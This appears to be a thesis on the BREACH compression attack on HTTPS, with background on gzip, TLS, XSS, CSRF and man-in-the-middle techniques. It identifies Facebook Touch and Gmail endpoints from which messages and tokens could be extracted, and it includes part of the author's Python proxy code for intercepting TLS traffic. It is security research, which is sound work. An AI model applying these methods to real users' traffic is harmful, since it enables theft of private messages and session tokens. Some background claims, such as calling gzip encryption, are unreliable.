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Chapter 1

Theoretical background

In this chapter we will provide the necessary background for the user to understand the mechanisms used later in the paper. The description of the following systems is a brief introduction, intended to familiarize the reader with concepts that are fundamental for the methods presented.

Specifically, section 1.1 describes the functionality of the gzip compression method and the algorithms that it entails. Section 1.2 covers the same-origin policy that applies in the web application security model. In section 1.3 we explain the Transport Layer Security, which is the main protocol used today to provide communications security over the Internet. Finally, in section 1.4 we describe attack methodologies in order for an adversary to perform a Man-in-the-middle attack, such as ARP spoofing and DNS poisoning.

1.1 gzip

gzip is a software application used for file compression and decompression. It is the most used encryption method on the Internet, integrated in protocols such as the Hypertext Transfer Protocol (HTTP), the Extensible Messaging and Presence Protocol (XMPP) and many more. Derivatives of gzip include the tar utility, which can extract .tar.gz files, as well as zlib, an abstraction of the DEFLATE algorithm in library form.¹

It is based on the DEFLATE algorithm, which is a combination of LZ77 and Huffman coding. DEFLATE could be described by the following encryption schema:

$$DEFLATE(m) = Huffman(LZ77(m))$$

In the following sections we will briefly describe the functionality of both these compression algorithms.

1.1.1 LZ77

LZ77 is a lossless data compression algorithm published in paper by A. Lempel and J. Ziv in 1977. [6] It achieves compression by replacing repeated occurrences of data with references to a copy of that data existing earlier in the uncompressed data stream. The reference composes of a pair of numbers, the first of which represents the length of the

¹ <https://en.wikipedia.org/wiki/Gzip>

repeated portion, while the second describes the distance backwards in the stream, until the beginning of the portion is met. In order to spot repeats, the protocol needs to keep track of some amount of the most recent data, specifically the latest 32 Kb. This data is held in a sliding window, so in order for a portion of data to be compressed, the initial appearance of this repeated portion needs to have occurred at most 32 Kb up the data stream. Also, the minimum length of a text to be compressed is 3 characters, while compressed text can also have literals as well as pointers.

Below you can see an example of a step-by-step execution of the algorithm for a specific text:

Hello, world! I love you.
Hello, world! I hate you.
Hello, world! Hello, world! Hello, world!

Figure 1.1: First we get the plaintext to be compressed.

Hello, world! I love you.

Hello, world! I love you.

Figure 1.2: Compression starts with literal representation.

Hello, world! I love you.
Hello, world! I
Hello, world! I love you.
↑(26, 16)

Figure 1.3: We then use a pointer at distance 26 and length 16.

Hello, world! I love you.
Hello, world! I hate
Hello, world! I love you.
↑(26, 16) hate

Figure 1.4: We continue with literal.

Hello, world! I love you.
 Hello, world! I hate you.
 Hello, world!
 Hello, world! I love you.
 (26, 16) hate (21, 5)
 (26, 14)

Figure 1.5: We use a pointer pointing to a pointer.

Hello, world! I love you.
 Hello, world! I hate you.
 Hello, world! Hello world!
 Hello, world! I love you.
 (26, 16) hate (21, 5)
 (26, 14) (14, 14)

Figure 1.6: We then use a pointer pointing to a pointer pointing to a pointer.

Hello, world! I love you.
 Hello, world! I hate you.
 Hello, world! Hello world! Hello world!
 Hello, world! I love you.
 (26, 16) hate (21, 5)
 (26, 14) (14, 28)

Figure 1.7: Finally, we use a pointer pointing to itself.

1.1.2 Huffman coding

Huffman coding is also a lossless data compression algorithm developed by David A. Huffman and published in 1952. [3] When compressing a text, a variable-length code table is created to map source symbols to bitstreams. Each source symbol can be of less or more bits than originally and the mapping table is used to translate source symbols into bitstreams during compression and vice versa during decompression. The mapping table could be represented by a binary tree of nodes. Each leaf node represents a source symbol, which can be accessed from the root by following the left path for 0 and the right path for 1. Each source symbol can be represented only by leaf nodes, therefore the code is prefix-free, meaning no bitstream representing a source symbol can be the prefix of any other bitstream representing a different source symbol. The final mapping of source symbols to bitstreams is calculated by finding

the frequency of appearance for each source symbol of the plaintext. That way, most common symbols can be coded in shorter bitstreams, thus compressing the initial text.

Below follows an example of a plaintext and a valid Huffman tree for compressing it:

Chancellor on bring of second bailout for banks²

Frequency Analysis

o: 6	n: 5	r: 3	l: 3
b: 3	c: 3	a: 3	s: 2
k: 2	e: 2	i: 2	f: 2
h: 1	d: 1	t: 1	u: 1

Huffman tree

o: 00	n: 01	r: 1000	l: 1001
b: 1010	c: 1011	a: 11000	s: 11001
k: 11010	e: 11011	i: 11100	f: 1111000
h: 1111001	d: 1111010	t: 1111011	u: 1111100

Initial text size: 320 bits

Compressed text size: 167 bits

1.2 Same-origin policy

Same-origin policy is an important aspect of the web application security model. According to that policy, a web browser allow scripts contained in one page to access data in a second page only if both pages have the same *origin*. Origin is defined as the combination of Uniform Resource Identifier scheme, hostname and port number. For example, a document retrieved from the website *http://example.com/target.html* is not allowed under the same-origin policy to access the Document-Object Model of a document retrieved from *https://head.example.com/target.html*, since the two websites have different URI schema (*http* vs *https*) and different hostname (*example.com* vs *head.example.com*).

Same-origin policy is particularly important in modern web applications, that rely greatly on HTTP cookies to maintain authenticated sessions. If same-origin policy was not implemented the data confidentiality and integrity of cookies, as well as every other content of web pages, would have been compromised. However, despite the application of same-origin policy by modern browsers, there exist attacks that enable an adversary to bypass it and breach a user's communication with a website. Two such major types of vulnerabilities, cross-site scripting and cross-site request forgery are described in the following subsections.

1.2.1 Cross-site scripting

Cross-site scripting (XSS) is a security vulnerability that allows an adversary to inject client-side script into web pages viewed by other users. That way, same-origin policy

² https://en.bitcoin.it/wiki/Genesis_block

can be bypassed and sensitive data handled by the vulnerable website may be compromised. XSS could be divided into two major types, *non-persistent* and *persistent* ³, which we will describe below.

Non-persistent XSS vulnerabilities are the most common. They show up when the web server does not parse the input in order to escape or reject HTML control characters, allowing for scripts injected to the input to run unnoticeable. Usual methods of performing non-persistent XSS include mail or website url links and search requests.

Persistent XSS occurs when data provided by the attacker are stored by the server. Responses from the server to different users will then include the script injected from the attacker, allowing it to run automatically on the victim's browsers without needing to target them individually. An example of such attack is when posting texts on social networks or message boards.

1.2.2 Cross-site request forgery

Cross-site request forgery (CSRF) is an exploit that allows an attacker to issue unauthorized commands to a website, on behalf of a user the website trusts. Hence the attacker can forge a request to perform actions or post data on a website the victim is logged in, execute remote code with root privileges or compromise a root certificate, resulting in a breach of a whole public key infrastructure (PKI).

CSRF can be performed when the victim is trusted by a website and the attacker can trick the victim's browser into sending HTTP requests to that website. For example, when a Alice visits a web page that contains the HTML image tag ``⁴ that Mallory has injected, a request from Alice's browser to the example bank's website will be issued, stating for an amount of 1000000 to be transferred from Alice's account to Mallory's. If Alice is logged in the example bank's website, the browser will include the cookie containing Alice's authentication information in the request, making it a valid request for a transfer. If the website does not perform more sanity checks or further validation from Alice, the unauthorized transaction will be completed. An attack such as this is very common on Internet forums that allow users to post images.

A method of mitigation of CSRF is a Cookie-to-Header token. The web application sets a cookie that contains a random token that validates a specific user session. Javascript on client side reads that token and includes it in a HTTP header sent with each request to the web application. Since only Javascript running within the same origin will be allowed to read the token, we can assume that it's value is safe from unauthorized scripts to read and copy it to a custom header in order to mark a rogue request as valid.

1.3 Transport Layer Security

Transport Layer Security (TLS) is a protocol that provides communications security over the internet, allowing a server and a client to communicate in a way that prevents eavesdropping, tampering or message forgery. [2]

³ https://en.wikipedia.org/wiki/Cross-site_scripting

⁴ https://en.wikipedia.org/wiki/Cross-site_request_forgery

The users negotiate a symmetric key via asymmetric cryptography that is provided by X.509 certificates, therefore there exist certificate authorities and a public key infrastructure (PKI), in order for the certificates to be verified for their owners. However, it can be understood that, due to their key role, certificate authorities are points of failure in the system, enabling for Man-in-the-Middle attacks, in a case when an adversary has managed to forge a root certificate.

Apart from certificate-related attacks, a well-known category is compression attacks.⁵ Such attacks exploit TLS-level compression so as to decrypt ciphertext. In this document, we investigate the threat model and performance of such an attack, **BREACH**.

In the following subsections we will briefly describe some of the protocol details, especially handshake and the format of TLS records.

1.3.1 TLS handshake




Figure 1.8: TLS handshake flow.

⁵ <https://tools.ietf.org/html/rfc7457>

This sequence diagram presents the functionality of TLS handshake. User and server exchange the basic parameters of the connection, specifically the protocol version, cipher suite, compression method and random numbers, with the ClientHello and ServerHello records. The server then provides all information needed from the user to validate and use the asymmetric server key, in order to compute the symmetric key to be used in the rest of the communication. The client computes a *PreMasterKey*, that is sent to the server, which is used by both parties to compute the symmetric key. Finally, both sides exchange and validate hash and MAC over the previous messages, after which they both have the ability to communicate safely.

The above flow describes the basic TLS handshake. Client-authenticated and resumed handshakes have similar functionality, which are not relevant for the purpose of this paper.

1.3.2 TLS record

+	Byte +0	Byte +1	Byte +2	Byte +3
Byte 0	Content type			
Bytes 1..4	Version		Length	
	(Major)	(Minor)	(bits 15..8)	(bits 7..0)
Bytes 5..(m-1)	Protocol message(s)			
Bytes m..(p-1)	MAC (optional)			
Bytes p..(q-1)	Padding (block ciphers only)			

Figure 1.9: TLS record.

The above figure ⁶ depicts the general format of all TLS records.

The first field describes the Record Layer Protocol Type contained in the record, which can be one of the following:

Hex	Type
0x14	ChangeCipherSpec
0x15	Alert
0x16	Handshake
0x17	Appliation
0x18	Heartbeat

The second field defines the TLS version for the record message, which is identified by the major and minor version as below:

⁶ https://en.wikipedia.org/wiki/Transport_Layer_Security

Major	Minor	Version
3	0	SSL 3.0
3	1	TLS 1.0
3	2	TLS 1.1
3	3	TLS 1.2

The length of the contained record message, MAC and padding is then calculated by the following two fields as: $256 * (bits15..8) + (bits7..0)$.

Finally, the payload of the record, which, depending on the type, may be encrypted, the MAC, if provided, and the padding, if needed, make up the rest of the TLS record.

1.4 Man-in-the-Middle

Man-in-the-Middle (MitM) is one of the most common attack vectors, where an attacker reroutes the communication of two parties, in order to be controlled and possibly altered. The aggressiveness of the attack can vary from passive eavesdropping to full control of the communication, as long as the attacker is able to impersonate both parties and convince them to be trusted.



Figure 1.10: Man-in-the-Middle.

MitM attacks can be mitigated by using end-to-end cryptography, mutual authentication or PKIs. However, some attacks manage to bypass such mitigation techniques. Below, we describe two such attacks, ARP Spoofing and DNS cache poisoning.

1.4.1 ARP Spoofing

ARP spoofing

⁷ is a technique where an attacker sends Address Resolution Protocol (ARP) messages over the network, so as to associate the MAC address with the IP address of another host. That way, the attacker may intercept the traffic of the network, modify or deny packets, performing denial of service, MitM or session hijacking attacks.

⁷ https://en.wikipedia.org/wiki/ARP_spoofing




Figure 1.11: Arp Spoofing.

ARP spoofing can be also used for legitimate reasons, when a developer needs to debug IP traffic between two hosts. That way, the developer can act as proxy between the two hosts or configure the switch that is normally used by the two parties to forward traffic for monitoring.

1.4.2 DNS spoofing




Figure 1.12: DNS Spoofing.

DNS spoofing (or DNS cache poisoning) is an attack, when the adversary introduces data into a Domain Name System resolver's cache, in order to return an incorrect address for a specific host.

DNS servers are usually provided by Internet Service Providers (ISPs), used to resolve IP addresses to human-readable hostnames faster. A malicious employee, or anyone that has gained unauthorized access to the server, can then perform DNS poisoning, affecting every user that is being serviced by that server.

Chapter 2

Partially Chosen Plaintext Attack

Traditionally, cryptographers have used games for security analysis. Such games include the indistinguishability under chosen-plaintext-attack (IND-CPA), the indistinguishability under chosen ciphertext attack/adaptive chosen ciphertext attack (IND-CCA1, IND-CCA2) etc ¹. In this chapter, we introduce a definition for a new property of encryption schemes, called indistinguishability under partially-chosen-plaintext-attack (IND-PCPA). We will also show provide comparison between IND-PCPA and other known forms of cryptosystem properties.

2.1 Partially Chosen Plaintext Indistinguishability

2.1.1 Definition

IND-PCPA uses a definition similar to that of IND-CPA. For a probabilistic asymmetric key encryption algorithm, indistinguishability under partially chosen plaintext attack (IND-PCPA) is defined by the following game between an adversary and a challenger.

- The challenger generates a pair P_k, S_k and publishes P_k to the adversary.
- The adversary may perform a polynomially bounded number of encryptions or other operations.
- Eventually, the adversary submits two distinct chosen plaintexts M_0, M_1 to the challenger.
- The challenger selects a bit $b \in \{0, 1\}$ uniformly at random.
- The adversary can then submit any number of selected plaintexts $R_i, i \in N, |N| \geq 0$, so the challenger sends the ciphertext $C_i = E(P_k, M_b || R_i)$ back to the adversary.
- The adversary is free to perform any number of additional computations or encryptions, before finally guessing the value of b .

A cryptosystem is indistinguishable under partially chosen plaintext attack, if every probabilistic polynomial time adversary has only a negligible advantage on finding b over random guessing. An adversary is said to have a negligible advantage if it wins

¹ https://en.wikipedia.org/wiki/Ciphertext_indistinguishability

the above game with probability $\frac{1}{2} + \epsilon(k)$, where $\epsilon(k)$ is a negligible function in the security parameter k .

Intuitively, we can think that the adversary has the ability to modify the plaintext of a message, by appending a portion of data of his own choice to it, without knowledge of the plaintext itself. He can then acquire the ciphertext of the modified text and perform any kinds of computations on it. A system could then be described as IND-PCPA, if the adversary is unable to gain more information about the plaintext, than he could by guessing at random.

2.1.2 IND-PCPA vs IND-CPA

Suppose the adversary submits the empty string as the chosen plaintext, a choice which is allowed by the definition of the game. The challenger would then send back the ciphertext $C_i = E(P_k, M_b || "") = E(P_k, M_b)$, which is the ciphertext returned from the challenger during the IND-CPA game. Therefore, if the adversary has the ability to beat the game of IND-PCPA, i.e. if the system is not indistinguishable under partially chosen plaintext attacks, he also has the ability to beat the game of IND-CPA. Thus we have shown that IND-PCPA is at least as strong as IND-CPA.

2.2 PCPA on compressed encrypted protocols

2.2.1 Compression-before-encryption and vice versa

When having a system that applies both compression and encryption on a given plaintext, it would be interesting to investigate the order the transformations should be executed.

Lossless data compression algorithms rely on statistical patterns to reduce the size of the data to be compressed, without losing information. Such a method is possible, since most real-world data has statistical redundancy. However, it can be understood from the above that such compression algorithms will fail to compress some data sets, if there is no statistical pattern to exploit.

Encryption algorithms rely on adding entropy on the ciphertext produced. If the ciphertext contains repeated portions or statistical patterns, such behaviour can be exploited to deduce the plaintext.

In the case that we apply compression after encryption, the text to be compressed should demonstrate no statistical analysis exploits, as described above. That way compression will be unable to reduce the size of the data. In addition, compression after encryption does not increase the security of the protocol.

On the other hand, applying encryption after compression seems a better solution. The compression algorithm can exploit the statistical redundancies of the plaintext, while the encryption algorithm, if applied perfectly on the compressed text, should produce a random stream of data. Also, since compression also adds entropy, this scheme should make it harder for attackers who rely on differential cryptanalysis to break the system.

2.2.2 PCPA scenario on compression-before-encryption protocol

Let's assume a system that composes encryption and compression in the following manner:

$$c = \text{Encrypt}(\text{Compress}(m))$$

where c is the ciphertext and m is the plaintext.

Suppose the plaintext contains a specific secret, among random strings of data, and the attacker can issue a PCPA with a chosen plaintext, which we will call reflection. The plaintext then takes the form:

$$m = n_1 || \text{secret} || n_2 || \text{reflection} || n_3$$

where n_1, n_2, n_3 are random nonces.

If the reflection is equal to the secret, the compression mechanism will recognize the pattern and compress the two portions. In other case, the two strings will not demonstrate any statistical redundancy and compression will perform worse. As a result, in the first case the data to be encrypted will be smaller than in the second case.

Most commonly encryption is done by a stream or a block cipher. In the first case, the lengths of a plaintext and the corresponding ciphertext are identical, whereas in the second case they differ by the number of the padding bits, which is relatively small. That way, in the above case, an adversary could identify a pattern and extract information about the plaintext, based on the lengths of the two ciphertexts.

2.3 Known PCPA exploits

2.3.1 CRIME

"Compression Ratio Info-leak Made Easy" (CRIME) [4] is a security exploit that was revealed at the 2012 [ekoparty](#). As described, "it decrypts HTTPS traffic to steal cookies and hijack sessions".

In order for the attack to succeed, there are two requirements. Firstly, the attacker should be able to sniff the victim's network, so as to see the request/response packet lengths. Secondly, the victim should visit a website controlled by the attacker or surf on non-HTTPS sites, in order for the CRIME JavaScript to be executed.

If the above requirements are met, the attacker makes a guess for the secret to be stolen and asks the browser to send a request with this guess as the path. The attacker can then observe the length of the request and, if the length is less than usual, it is assumed that the guess string was compressed with the secret, so it was correct.

CRIME has been mitigated by disabling TLS and SPDY compression on both Chrome and Firefox browsers, as well as various server software packages. However, HTTP compression is still supported, while some web servers that still support TLS compression are also vulnerable.

2.3.2 BREACH

”Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext” (BREACH) [5] is a security exploit built based on CRIME. Presented at the August 2013 Black Hat conference, it targets the size of compressed HTTP responses and extracts secrets hidden in the response body.

Like the CRIME attack, the attacker needs to sniff the victim’s network traffic, as well as force the victim’s browser to issue requests on the chosen endpoint. Additionally, the original attack works against stream ciphers only, it assumes zero noise in the response, as well as a known prefix for the secret, although a solution would be to guess the first two characters of the secret, in order to bootstrap the attack.

From then on, the methodology is the same in general as CRIME’s. The attacker guesses a value, which is then included in the response body along with the secret and, if correct, it is compressed well with it, resulting in smaller response length.

BREACH has not yet been fully mitigated, although Gluck, Harris and Prado proposed various counter measures for the attack. We will investigate these mitigation techniques in depth in Chapter ??.

Chapter 3

Attack Model

In this chapter, we will extensively present the threat model of BREACH. We will explain the conditions that should be met so as to launch the attack and describe our code implementation for that case. Also, we will investigate the types of vulnerabilities in web applications that can be exploited with this attack, as well as introduce alternative secrets, that have not been taken into consideration before.

3.1 Mode of Operation

3.1.1 Description

The first step of the attack is for the attacker to gain control of the victim's network, specifically being able to view the victim's encrypted traffic. This can be accomplished using the Man-in-the-Middle techniques described in Section 1.4.

After that the BREACH JavaScript that issues the requests needs to be executed from the victim's browser. The first way to do this is to persuade the victim to visit a website where the js runs, usually with social engineering methods, such as phishing or spam email. Another way would be for the attacker to inject the js code in a request made to a regular HTTP website. The following figure depicts this methodology, which is based on the fact that regular HTTP traffic is not encrypted and also does not ensure data integrity.




Figure 3.1: JavaScript injection.

The script issues multiple requests to the target endpoint, which are sniffed by the attacker. As described in Section 1.2 the attacker cannot read the plaintext response, however the length of both the request and the response is visible on the network.

Each request contains some data, that is reflected in the response. Since the victim is logged in the target endpoint website, the response body will also contain the secrets. If the conditions defined in Section 1.1.1 are met, the secret and the reflected attacker input will be compressed and encrypted.

By issuing a large amount of requests for different inputs, the attacker can analyze the response lengths and extract information about the plaintext secrets, as described above.

3.1.2 Man-in-the-Middle implementation

In order to gain control of the victim's traffic towards a chosen endpoint, we created a Python script that performs a Man-in-the-Middle. For the purpose of this paper, the 'hosts' file of the test machine was configured to redirect traffic regarding the chosen endpoint towards localhost, as shown below:

```
127.0.0.1 localhost
127.0.1.1 debian.home debian

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# BREACH Targets

127.0.0.1 mail.google.com
```

Listing 3.1: Test machine hosts file

The user can set the IPs and ports of the victim and the endpoint, in order for the Python script to open TCP sockets on both directions, so that traffic from the victim to the endpoint and vice versa is routed through the Man-in-the-Middle proxy.

After the environment is set, the script performs an infinite loop, where the 'select' module of Python is used to block the script until a packet is received on either of the sockets.

When a packet is received, the source of the packet is identified and the data is parsed in order to log the TLS header and the payload. After the information needed is extracted, the packet is forwarded to the appropriate destination.

The parser is vital, since the header contains information regarding the version of TLS used, as well as the length of the packet. For that purpose, we have created a mechanism to perform packet defragmentation, since a TLS record can span over multiple TCP packets. Specifically, the length of the packet payload is compared to the length defined in the TLS header. In case the packet does not contain all of the data declared, the number remaining of bytes is stored, so that these bytes can be distinguished from the following packets of same origin. In case the TLS header is fragmented, which can be deduced when the total bytes of the packet, fragments from previous records

excluded, are less than 5 bytes, the actual data fragment needs to be stored, so that combined with the packets to come it can translate to a valid TLS record information.

Finally, a TLS downgrade attack mechanism is also implemented. In case the user wants to test whether a TLS downgrade is feasible, the Client Hello packet is intercepted and dropped, while the MitM sends as a response a fatal 'HANDSHAKE FAILURE' alert to the victim. The victim's browser is usually configured to attempt a connection with a lower TLS version, where it should also include the "TLS_FALLBACK_SCSV" option in the cipher suite list. If the server is configured properly, the downgrade attempt should be recognised through the "TLS_FALLBACK_SCSV" and the connection should be dropped. In other case, the TLS version could be downgraded to a point where a less safe connection is established, such as with version SSL 3.0 or using the RC4 stream cipher. For further information on the downgrade vulnerability see POODLE [1].

The code of the Man-in-the-Middle proxy, as well as the constants library, can be found in Appendix Sections 4.1 and 4.2 respectively.

3.1.3 BREACH JavaScript implementation

For the implementation of the BREACH JavaScript, we assume the user has provided the alphabet that the secret character belongs to, as well as the known prefix needed to bootstrap the attack. This information will be written to a file used by the JavaScript to perform the attack, an example of which is shown below:

```
AF6bup
ladbfsk!1_2_3_4_5_6_7_8_9_AF6bup0znq,ladbfsk!0_2_3_4_5_6_7_8_9_AF6bup1znq
,ladbfsk!0_1_3_4_5_6_7_8_9_AF6bup2znq,ladbfsk!0
_1_2_4_5_6_7_8_9_AF6bup3znq,ladbfsk!0_1_2_3_5_6_7_8_9_AF6bup4znq,
ladbfsk!0_1_2_3_4_6_7_8_9_AF6bup5znq,ladbfsk!0
_1_2_3_4_5_7_8_9_AF6bup6znq,ladbfsk!0_1_2_3_4_5_6_8_9_AF6bup7znq,
ladbfsk!0_1_2_3_4_5_6_7_9_AF6bup8znq,ladbfsk!0
_1_2_3_4_5_6_7_8_AF6bup9znq
```

Listing 3.2: request.txt

The script then uses the jQuery library ¹ to read the info from the file and begin the attack. If the file is corrupted or either of the attack variables has changed, a delay of 10 seconds is introduced, so that the system is balanced. After that, a request for each item of the attack vector is issued serially, continuing from the beginning when the end of the vector is reached.

A delay of 10 seconds is also introduced if the above function fails for any reason, i.e. if the info file does not exist. That way the attack is persistent and it is the frameworks responsibility to provide the JavaScript with a valid information file.

For the purpose of this paper, the script was included in a local minimal HTML web page that was visited in order for the attack to begin. However, with slight modifications, it could be run on real world applications or injected in HTTP responses, as described above.

The BREACH script and the HTML web page can be found in the Appendix Sections 4.3 and 4.4.

¹ <http://code.jquery.com/jquery-2.1.4.min.js>

3.2 Vulnerable endpoints

In the original BREACH paper [5], Gluck, Harris and Prado investigated the use of CSRF tokens included in HTTP responses as secrets to be stolen with the attack. In this paper we suggest alternative secrets, as well as point out specific vulnerabilities on widely used web applications, such as Facebook and Gmail.

3.2.1 Facebook Chat messages

Facebook is the biggest social network as of 2015, with millions of people using its chat functionality to communicate. Its mobile version, Facebook Touch² provides a lightweight alternative for faster browsing. In this paper we will present a vulnerability that allows an attacker to steal chat messages from Facebook Touch, using BREACH attack.

Mobile versions of websites provide a good alternative compared to full versions for a list of reasons. Firstly, these endpoints provide limited noise, given that they provide a lighter User Interface compared to full versions. As noise we could define any kind of string that changes between requests, such as timestamps or tokens, which can affect the length of the compressed HTML code for the same request. Secondly, given that the plaintext is smaller in mobile versions, the possibility of the text that lies between the secret and the reflection to be above the window of LZ77 compression is reduced.

Facebook has launched a mechanism to prevent the original BREACH attack against CSRF tokens³. However, as of August 2015, it has not created a mitigation technique against the same attack on private messages. Such an attack vector is described in the following paragraphs.

Facebook Touch provides a search functionality via URL, regarding chat messages and friends. Specifically, when a request is made for https://touch.facebook.com/messages?q=<search_string>, the response contains the chat search results for the given search string. If no match is found, the response contains an empty search result page. However, this page also contains the last message of the 5 latest conversations, which are contained in the top drop-down message button of the Facebook User Interface, as shown below:

² <https://touch.facebook.com>

³ https://www.facebook.com/notes/protect-the-graph/preventing-a-breach-attack/1455331811373632?_rdr=p

At this point, one of the basic assumptions of the attack, the fact that a secret and an attacker input string should both be contained in the response, has been confirmed, thus providing a vulnerability that can be exploited in the context of the attack.

3.2.2 Gmail Authentication token

Gmail is one of the most used and trusted mail clients as of 2015. It also provides a plain HTML version for faster, lightweight interaction⁴. Gmail uses an authentication token, which is a random string generated every time the user logs in the account.

In contrary to Facebook, Google has not issued any mechanism to mask the authentication token for different sessions, but instead uses the same token for a large amount of requests. This functionality could possibly result to a threat against the confidentiality of the account, as will be described in the following paragraphs.

Requests on m.gmail.com redirect to a route of the full website with an additional parameter, specifically https://mail.google.com/mail/u/0/x/<random_string>, where the random string is generated for every request on the website and can be used only for the particular session.

Gmail also provides a search via URL functionality, similar to the one described for Touch Facebook. Specifically, a user can search for mails using a URL like https://mail.google.com/mail/u/0/x/?s=q&q=<search_string>. If no valid string is provided, where the random string is supposed to be, Google will redirect the request to a URL where the vacation with a randomly generated string and return an empty result page, stating the search action as incomplete, as shown below:




Figure 3.4: Invalid Gmail search.

However, the HTML body of the response contains both the search string and the authentication token, as can be seen in the following figure:

⁴ <https://m.gmail.com>

will also contain both the Subject and an initial fragment of the body of the latest inbox mails, as shown below:

```
[["tb",0,["14f30dce9465bd64","14f30dce9465bd64","14f30dce9465bd64",1,0,
["^all","^i","^im","^io_im","^io_imc1","^io_lr","^o","^smartlabel_personal"]
,[]
,"\"u003cspan class\"u003d\"yF\" email\"u003d\"dimit.karakostas@gmail.com\" name\"u003d\"Dimitrios Karakostas\"\"u003eDimitrios
Karakostas\"u003c/span\"u003e\", \"u0026raquo;\"u0026nbsp\", \"Secret\", \"Credit Card: 5922741705931840\", 0, \"\", \"1:17 pm\", \"Sat,
Aug 15, 2015 at 1:17 PM\", 1439633845883000, [],
,0, []
, []
, \"3\", [1]
, \"dimit.karakostas@gmail.com\", , , , 0, 0]
```



Private mail

Figure 3.7: Gmail empty search response containing latest mails.

Although in that case, the response body does not include the search string, an attacker could send multiple mails to the victim, which would be included in the response as described. That way, the attacker could insert a chosen plaintext in the HTML body and configure the attack under that context.

The above vulnerability shows that secrets and attacker input cannot always be distinguished. In this case, both the secret and the input are emails, i.e. one and the same, making the mitigation of the attack particularly hard.

3.3 Validation of secret-reflection compression

In previous sections, we have found multiple vulnerabilities on known websites. We have confirmed that the attacker's chosen plaintext and the secret are both contained in the HTML response body. In this section, we will present a methodology to confirm that the chosen plaintext and the secret are compressed well, when the plaintext matches the secret, and badly in any other case.

The first tool used is mitmproxy ⁵. Mitmproxy is described as "an interactive console program that allows traffic flows to be intercepted, inspected, modified and replayed". For the purposes of our work, mitmproxy was used to extract the compressed HTML body of two search request, in the Facebook context described in Section 3.2.1. The first search string contained a selected prefix followed by an incorrect character, while the second contained the same prefix followed by the correct character of the secret.

The second tool used is infgen ⁶. Infgen is a disassembler that gets a gzip as an input and outputs the huffman tables and the LZ77 compression of the initial data stream.

Applying infgen on the two HTML responses we obtained with mitmproxy, the comparison regarding the correct and the incorrect search string can be seen in the following figure:

⁵ <https://mitmproxy.org>

⁶ <http://www.zlib.net/infgen.c.gz>




Figure 3.8: Comparison of two compressed responses.

The left part of the figure shows the compression when the incorrect character is used. In that case, the prefix is matched, therefore 4 characters are compressed, however the next character is not compressed and is included as a literal instead.

The right part shows the correct character compression, in which case both the prefix and the character are compressed, resulting in 5 total characters to be included in the reference statement and no literal statement.

It is understood that, in the second case, since the compression is better, the LZ77 compressed text is smaller, possibly resulting to the final encrypted text to be smaller.

The above described methodology can be used in any case, in order to test whether a website compresses two portions of text and to verify that the conditions of a PCPA attack are met.

Chapter 4

Appendix

4.1 Man-in-the-Middle library

```
import socket
import select
import logging
import binascii
from os import system, path
import sys
import signal
from io_library import kill_signal_handler, get_arguments_dict,
    setup_logger
import constants

signal.signal(signal.SIGINT, kill_signal_handler)

class Connector():
    """
    Class that handles the network connection for breach.
    """
    def __init__(self, args_dict):
        """
        Initialize loggers and arguments dictionary.
        """
        self.args_dict = args_dict
        if 'full_logger' not in args_dict:
            if args_dict['verbose'] < 4:
                setup_logger('full_logger', 'full_breach.log', args_dict,
                    logging.ERROR)
            else:
                setup_logger('full_logger', 'full_breach.log', args_dict)
            self.full_logger = logging.getLogger('full_logger')
            self.args_dict['full_logger'] = self.full_logger
        else:
            self.full_logger = args_dict['full_logger']
        if 'basic_logger' not in args_dict:
            if args_dict['verbose'] < 3:
                setup_logger('basic_logger', 'basic_breach.log',
                    args_dict, logging.ERROR)
            else:
                setup_logger('basic_logger', 'basic_breach.log',
                    args_dict)
            self.basic_logger = logging.getLogger('basic_logger')
            self.args_dict['basic_logger'] = self.basic_logger
```

```

        else:
            self.basic_logger = args_dict['basic_logger']
        if 'debug_logger' not in args_dict:
            if args_dict['verbose'] < 2:
                setup_logger('debug_logger', 'debug.log', args_dict,
logging.ERROR)
            else:
                setup_logger('debug_logger', 'debug.log', args_dict)
            self.debug_logger = logging.getLogger('debug_logger')
            self.args_dict['debug_logger'] = self.debug_logger
        else:
            self.debug_logger = args_dict['debug_logger']
        return

def log_data(self, data):
    '''
    Print hexadecimal and ASCII representation of data
    '''
    pad = 0
    output = []
    buff = '' # Buffer of 16 chars

    for i in xrange(0, len(data), constants.LOG_BUFFER):
        buff = data[i:i+constants.LOG_BUFFER]
        hex = binascii.hexlify(buff) # Hex representation of data
        pad = 32 - len(hex)
        txt = '' # ASCII representation of data
        for ch in buff:
            if ord(ch)>126 or ord(ch)<33:
                txt = txt + '.'
            else:
                txt = txt + chr(ord(ch))
        output.append('%2d\t %s\t %s\t %s' % (i, hex, pad*' ', txt))

    return '\n'.join(output)

def parse(self, data, past_bytes_endpoint, past_bytes_user,
chunked_endpoint_header, chunked_user_header, is_response = False):
    '''
    Parse data and print header information and payload.
    '''
    lg = ['\n']
    downgrade = False

    # Check for defragmentation between packets
    if is_response:
        # Check if TLS record header was chunked between packets and
append it to the beginning
        if chunked_endpoint_header:
            data = chunked_endpoint_header + data
            chunked_endpoint_header = None
        # Check if there are any remaining bytes from previous record
        if past_bytes_endpoint:
            lg.append('Data from previous TLS record: Endpoint\n')
            if past_bytes_endpoint >= len(data):
                lg.append(self.log_data(data))
                lg.append('\n')
            past_bytes_endpoint = past_bytes_endpoint - len(data)

```

```

        return ('\n'.join(lg), past_bytes_endpoint,
past_bytes_user, chunked_endpoint_header, chunked_user_header,
downgrade)
    else:
        lg.append(self.log_data(data[0:past_bytes_endpoint]))
        lg.append('\n')
        data = data[past_bytes_endpoint:]
        past_bytes_endpoint = 0
    else:
        if chunked_user_header:
            data = chunked_user_header + data
            chunked_user_header = None
        if past_bytes_user:
            lg.append('Data from previous TLS record: User\n')
            if past_bytes_user >= len(data):
                lg.append(self.log_data(data))
                lg.append('\n')
                past_bytes_user = past_bytes_user - len(data)
            return ('\n'.join(lg), past_bytes_endpoint,
past_bytes_user, chunked_endpoint_header, chunked_user_header,
downgrade)
        else:
            lg.append(self.log_data(data[0:past_bytes_user]))
            lg.append('\n')
            data = data[past_bytes_user:]
            past_bytes_user = 0

    try:
        cont_type = ord(data[constants.TLS_CONTENT_TYPE])
        version = (ord(data[constants.TLS_VERSION_MAJOR]), ord(data[
constants.TLS_VERSION_MINOR]))
        length = 256*ord(data[constants.TLS_LENGTH_MAJOR]) + ord(data
[constants.TLS_LENGTH_MINOR])
    except Exception as exc:
        self.full_logger.debug('Only %d remaining for next record,
TLS header gets chunked' % len(data))
